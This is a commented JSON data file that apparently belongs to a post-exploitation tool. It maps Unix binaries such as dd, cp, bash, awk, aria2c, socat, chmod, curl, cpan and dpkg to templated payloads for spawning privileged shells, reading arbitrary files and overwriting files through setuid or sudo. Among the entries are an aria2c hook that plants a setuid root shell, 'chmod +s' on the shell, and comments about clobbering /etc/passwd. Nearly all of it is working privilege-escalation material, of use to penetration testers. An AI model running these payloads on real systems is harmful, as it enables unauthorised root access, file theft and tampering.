{
	// Each item is a list of capabilities for this binary
	"dd": [
		{
			// This is a read capability
			"type": "read",
			// No other commands need to be executed besides the command
			// "command" exands to the binary path and any arguments provided
			// If the data needs to be dealt with earlier, you can use "{data}"
			// here.
			"payload": "{command} 2>/dev/null",
			// This is used to pass arguments to the application (auto-merged
			// into "{command}".

			// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
			"args": ["if={lfile}"],
			// Prepends arguments, if any to the "args" for setuid context.
			"suid": [],
			// Input which needs to be passed to the application. All insertions
			// work here (such as {lfile}, {command}), but also {data} if you are
			// streaming the data to the remote application.
			"input": "",
			// If needed, specify some data that must be sent to exit the remote
			// application after the read is finished.
			// "exit": "{ctrl_c}",
			// This specifies how to handle the data. There can be a few
			// different values here:
			//     - raw -> the data is unchanged and the controlling terminal
			//         is set to raw mode for effective reading. This mode
			//         requires a known data length and the command will fail
			//         without it.
			//     - print -> the data is unchanged, but the controlling
			//         terminal is not changed to raw mode. Only printable 
			//         data is safe from TTY translation.
			//     - base64 -> all data is converted from base64. Data sent
			//         to the remote process should be in  base64 form, and the
			//         tty is not set to raw mode.
			//     - hex -> same as base64, but base16 instead.
			"stream": "raw"
		},
		{
			"type": "write",
			"stream": "raw",
			"payload": "{command} 2>/dev/null",
			"args": ["of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command} 2>/dev/null",
			"args": ["of={lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"cp": [
		{
			"type": "write",
			"stream": "print",
			// This is weird because under the case where we are running w/ sudo,
			// we need to ask for the password first. The first "{command}" will
			// ask for the sudo password, then fail to copy. The second "{command}"
			// will not ask for the sudo password, and then the copy will succeed.
			// Without sudo, the first command will simply fail, and the second
			// will succeed. This is the same for the other `cp` payload below.
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
			"args": ["$TF", "{lfile}"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
			"args": ["$TF", "{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	// Another example
	"bash": [
		{
			"type": "shell",
			"stream": "print",
			"suid": ["-p"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-c", "'{cat} {lfile}'"],
			"suid": ["-p"]
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command}",
			"args": ["-c", "'{base64} -d > {lfile}'"],
			"suid": ["-p"],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"dash": [
		{
			"type": "shell",
			"stream": "print",
			"suid": ["-p"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} -c '{cat} {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command} -c '{base64} -d > {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"cat": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile}"
		}
	],
//-------------------------------------------------------------------
	"apt": [
		{
			"type": "shell",
			"args": ["changelog", "apt"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"apt-get": [
		{
			"type": "shell",
			"args": ["changelog", "apt"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"aria2c": [
		{
			"type": "shell",
			"payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; $SH -p",
			"input": "rm $TF; rm $SH; unset TF; unset $SH;\n",
			"args": ["--on-download-error=$TF", "http://x"],
			"exit": "exit"
		}
	],
//-------------------------------------------------------------------
	"ash": [
		{
			"type": "shell",
			"stream": "print",
			"suid": ["-p"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} -c '{cat} {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_c}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command} -c '{base64} -d > {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_c}"
		}
	],
//-------------------------------------------------------------------
	"awk": [
		{
			"type": "shell",
			"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} // {lfile}"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
		},
		{
			"type": "write",
			"stream": "print",
			"args": [
				"-v", "LFILE={lfile}",
				"'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }}'"
			]
		}
	],
//-------------------------------------------------------------------
	"gawk": [
		{
			"type": "shell",
			"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} // {lfile}"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
		},
		{
			"type": "write",
			"stream": "print",
			"args": [
				"-v", "LFILE={lfile}",
				"'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }}}}'"
			],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"base32": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile} | {base32} -d",
			"args": []
		}
	],
//-------------------------------------------------------------------
	"base64": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile} | {base64} -d",
			"args": []
		}
	],
//-------------------------------------------------------------------
	"bpftrace": [
		{
			"type": "shell",
			"args": ["-c", "'{shell} -p'", "-e", "'END {{exit()}}'"],
			"suid": ["-p"],
			"exit": "exit"
		}
	],
//-------------------------------------------------------------------
	"busctl": [
		{
			"type": "shell",
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"byebug": [
		{
			"type": "shell",
			"payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}",
			"args": ["--no-stop", "-q", "$TF"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}",
			"args": ["--no-stop", "-q", "$TF"],
			"exit": "exit\n"
		}
	],
//-------------------------------------------------------------------
	"socat": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["STDIN", "EXEC:{shell}"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"payload": "{command}",
			"args": ["-u", "FILE:{lfile}", "STDOUT"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command} 2>/dev/null",
			"args": ["-u", "STDIN", "CREATE:{lfile}"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{base64} -d | {command} 2>/dev/null",
			"args": ["-u", "STDIN", "CREATE:{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"chmod": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["+s", "{shell}; {shell} -p"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"payload": "{command} 2>/dev/null",
			// This is used to pass arguments to the application (auto-merged
			// into "{command}".

			// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
			"args": ["+s", "{dd};", "{dd}", "if={lfile}"],
			// Prepends arguments, if any to the "args" for setuid context.
			"stream": "raw"
		},
		{
			"type": "write",
			"stream": "raw",
			"payload": "{command} 2>/dev/null",
			"args": ["+s", "{dd};", "{dd}", "of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command} 2>/dev/null",
			"args": ["+s", "{dd};", "{dd}", "of={lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"chroot": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["/", "{shell}", "-p"],
			"exit": "exit\n"
		}
	],
//-------------------------------------------------------------------
	"cobc": [
		{
			"type": "shell",
			"payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF",
			"args": ["-xFj", "--frelax-syntax-checks", "$TF"],
			"exit": "exit\n"
		}

		// Could we do some file_read and file_write with this too..? We can run cobol...
	],
//-------------------------------------------------------------------
	"cpan": [
		{
			"type": "shell",
			"payload": "{command}",
			"input" : "! system(\"{shell} -p\")\n",
			// exit the shell, AND exit cpan
			"exit": "exit\nexit\n"
		}

		// Could we do some file_read and file_write with this too? We can run perl...
	],
//-------------------------------------------------------------------
	"cpulimit": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-l", "100", "-f", "\"{shell}\""],
			// exit the shell, AND exit cpan
			"exit": "exit\n"
		}
		// We cannot seem to pass other arguments to process ran, so no read/write (???)
	],
//-------------------------------------------------------------------
	"crash": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-h"],
			"input": "!{shell} -p\n",
			// exit the shell, AND exit cpan
			"exit": "exit\nq\n"
		}
		// We cannot seem to pass other arguments to process ran, so no read/write (???)
	],
//-------------------------------------------------------------------
	"csh": [
		{
			"type": "shell",
			"payload": "{command}",
			"suid": ["-b"],
			"input": "{shell} -p\n",
			// exit the shell, AND exit csh
			"exit": "exit\nexit\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			// "suid" is not supplied because it must be very last argument
			"args": ["-c", "\"{cat} {lfile}\"", "-b"]
		}
		// Using write, it doesn't get the entire text to clobber /etc/passwd
		// {
		// 	"type": "write",
		// 	"stream": "base64",
		// 	"payload": "{command}",
		// 	"args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
		// 	// "suid" is not supplied because it must be very last argument
		// 	"exit": "{ctrl_d}"
		// }
	],
	"bsd-csh": [
		{
			"type": "shell",
			"payload": "{command}",
			"input": "{shell} -p\n",
			"suid": ["-b"],
			// exit the shell, AND exit csh
			"exit": "exit\nexit\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			// "suid" is not supplied because it must be very last argument
			"args": ["-c", "\"{cat} {lfile}\"", "-b"]
		}
		// Using write, it doesn't get the entire text to clobber /etc/passwd
		// {
		// 	"type": "write",
		// 	"stream": "base64",
		// 	"payload": "{command}",
		// 	"args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
		// 	// "suid" is not supplied because it must be very last argument
		// 	"exit": "{ctrl_d}"
		// }
	],
//-------------------------------------------------------------------
	"curl": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-s", "file://{lfile} --output -"]
		},
		{
			"type": "read",
			"stream": "base64",
			"payload": "{command} | {base64} -w 0",
			"args": ["-s", "file://{lfile} --output -"]
		},
		{
			"type": "write",
			"stream": "print",
			// This is weird because under the case where we are running w/ sudo,
			// we need to ask for the password first. The first "{command}" will
			// ask for the sudo password, then fail. The second "{command}"
			// will not ask for the sudo password, and then the copy will succeed.
			// Without sudo, the first command will simply fail, and the second
			// will succeed. This is the same for the other payload below.
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
			"args": ["-s", "file://$TF --output {lfile}"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
			"args": ["-s", "file://$TF", "--output", "{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"cut": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-d", "''", "-f1", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"date": [
		{
			// This is a janky reader that relies on cut to fully carve out the output.
			"type": "read",
			"stream": "print",
			"payload": "{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done",
			"args": ["-f", "{lfile}", "+\"%M%M%M%M%M%M\"", "2>&1"]
		}
	],
//-------------------------------------------------------------------
	"diff": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["--line-format=%L", "/dev/null", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"dmesg": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-H"],
			"input": "!{shell} -p\n",
			"exit": "exit\nq\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-rF", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"dpkg": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-l"],
			"input": "!{shell} -p\n",
			"exit": "exit\nq\n"
		}
	]

}